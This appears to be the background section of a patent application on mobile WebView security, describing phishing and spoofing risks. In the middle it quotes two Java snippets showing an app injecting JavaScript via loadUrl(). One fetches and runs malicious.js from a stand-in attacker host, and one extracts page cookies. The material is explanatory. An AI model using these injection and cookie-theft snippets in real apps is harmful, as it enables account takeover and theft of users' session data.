The subject matter discussed in the background section should not be assumed to be prior art merely as a result of its mention in the background section. Similarly, a problem mentioned in the background section or associated with the subject matter of the background section should not be assumed to have been previously recognized in the prior art. The subject matter in the background section merely represents different approaches, which in and of themselves may also be inventions.
A Web View is an essential component on mobile operating platforms such as Android and iOS. For purposes of this disclosure, a Web View is a class used to access or display content from the internet on any mobile device using anything other than a commercial web browser (e.g., Firefox®, Safari®, Chrome® and Internet Explorer®). A Web View enables web content to be displayed inside mobile apps. For example, application developers can use Web View to display web content inside an app instead of redirecting users to the native browser. This also allows developers to offer users an integrated experience because they don't need to close the app and open a web browser in order to view the web content.
A Web View is not intended to act in the same way as conventional web browsers because it does not include many to all of the features of a fully developed web browser, such as navigation controls, an address bar or safety features. A Web View, by default, allows a mobile application to display web content. While users of the Web View may move backward and forward through history and pinch zoom to increase the size of text in the web page, Web View does not allow users to visit a web page by typing a URL into an address bar and it offers no web search or security capabilities that commercial web browsers provide.
Web View was originally designed only to display web content inside an app and so their security infrastructure didn't support many of the things that developers are using them for today. There is an increasing trend towards developers building “hybrid” apps made to look like native apps but are in fact, built entirely around a Web View, using technologies such as HTML and CSS—thereby giving us hundreds of thousands of apps that have browser-like capability, most of which are not developed by well recognized companies and their trustworthiness may be questionable. Since Web View was first created, app usage is growing exponentially, leading to Web View being used by an increasing number of users. For example, Web View can be helpful when application developers want to provide information in their applications that they might need to update without asking users to update their application, such as an end-user agreement or a user guide. Within their applications, developers can create an Activity that contains a Web View, and then use that to display their documents that are hosted online. A Browser is a critical component in the Trusted Computing Base (TCB) of the Web: Web applications rely on the client side of browsers to secure their cookies, HTTP requests, JavaScript code and so on. We use selected browsers such as Firefox, Safari and Opera because we trust that they can serve as a TCB. When using hybrid applications that act like “browsers”, the trust is gone. Therefore, Web View has weakened the TCB of the Web infrastructure.
However, the design of Web View also changes the landscape of the Web, especially from the security perspective. As a result, many attacks can be launched either against apps or by them. The Web's security infrastructure can be weakened when a Web View and its Application Programming Interfaces (APIs) are used because Web View does not have security related identity indicators. In other words, users often cannot identify whether a link has taken them to the expected web page or web application. Thus, when a user is accessing web content through Web View and the web page asks the user for confidential information such as username, password or credit card number, the confidential information entered by the user will be vulnerable to spoofing and phishing attacks. Attackers can spoof users using illegitimate applications with high accuracy, meaning that there is high risk of phishing attacks on mobile platforms. There are several ways to launch attacks on Web View or content in a mobile application. An explanation of why and how attacks can take place on Web View or content in a mobile application, please see:
http://www.cis.syr.edu/.about.wedu/Research/paper/webview_acsac2011.pdf,
                which is incorporated herein by reference. As an example, the present disclosure and referenced article show how using the functionalities provided by Web View, an app can directly inject its own JavaScript code into any web page loaded within the Web View. This code can manipulate everything in the web page, as well as steal or misuse its sensitive information. Using Web View's loadUrl( ) API, Android application can inject arbitrary JavaScript code into the pages loaded by the Web View component. The loadUrl( ) API receives an argument of string type; if the string starts with“javascript:”, Web View will treat the entire string as JavaScript code, and execute it in the context of the web page that is currently displayed by the Web View component. This JavaScript code has the same privileges as that included in the web page. Essentially, the injected JavaScript code can manipulate the DOM tree and cookies of the page. Web View has an option named javascriptenable, with False being its default value; namely, by default, Web View does not execute any JavaScript code. However, this option can be easily set to True by the application, and after that, JavaScript code, embedded in the web page or injected by the application, can be executed. There are many ways to inject JavaScript code into web page using loadUrl( ). We give two examples here to illustrate the details.        
The following Java code constructs a string that contains a short JavaScript program; the program is injected into the web page loaded by Web View. When this program is executed in the context of the web page, it fetches additional (malicious) code from an external web server, and executes it.
String js=“javascript: var newscript.quadrature.=document.createElement(\“script\”);”; js+=“newscript.src=\“http://www.attack.com/malicious.js\”;”; js+=“document.body.appendChild(newscript);”; mWebView.loadUrl(js);
In the above example, the malicious code malicious.js can launch attacks on the targeted web application from within the web page. For example, if the web page is the user's Facebook page, the injected JavaScript code can delete the user's friends, post on his/her friends' walls, modify the user's profiles, etc. Obviously, if the application is developed by Facebook, none of these will happen, but some popular Facebook apps for Android phones are indeed developed by third parties.
Extracting Information From Web View. In addition to manipulating the contents/cookies of the web page, the malicious application can also ask its injected JavaScript code to send out sensitive information from the page. The following example shows how an Android application extracts the cookie information from a targeted web page.
class MyJS {.quadrature.public void SendSecret(String secret) { . . . do whatever you want with the secret . . . webview.addJavascriptInterface(new MyJS( ) “JsShow”); webview.setWebViewClient(new. WebViewClient( ) {public void onPageFinished(WebView view, String url){view.loadUrl(“javascript:window.JsShow.SendSecret(document.cookie)”);}
In the Java code above, the malicious application defines a class called MyJS with a function SendSecret, which receives a string as the parameter. The program then registers an instance of MyJS to Web View. On finishing loading the page, the application, using loadUrl, invokes window.JsShow.SendSecret, passing as the parameter whatever sensitive information the attacker wants to extract out of page. In this case, the cookie information is sent out.
Further, while Web View provided by companies such as Google® and Apple® offer a secure connection between a mobile application and a web page, their basic user interfaces do not offer users with any indication of the level of security offered by the web content. Thus, users will not be aware of whether the web content is safe or authentic. As a result, this gives the fraudsters (including phishing web sites) an opportunity to exploit such security breech.
Fueled by widespread adoption of employee-owned devices in the workplace and the explosion of mobile applications, mobile device security is an increasing threat to personal privacy. Businesses and government agencies are at risk with employees using their own devices to access some of the most sensitive data in an organization.
Accordingly, there exists a need for an improved method which not only allows users of Web View to readily identify whether a web page is safe, but also allows them to readily identify the level of security, thereby increasing users' confidence in performing secure transactions over Web View. There also exists a need for improved security method which protects users and their personal data from malicious web sites or phishing attacks while they are accessing a web page through Web View. There also exists a need for improved security method which offers users the ability to block content that they deem inappropriate for themselves or the people for whom they are responsible while using Web View. There also exists a need for improved security method which offers users the ability to verify the real identity of an application owner to help prevent phishing and other malicious attacks by the app itself.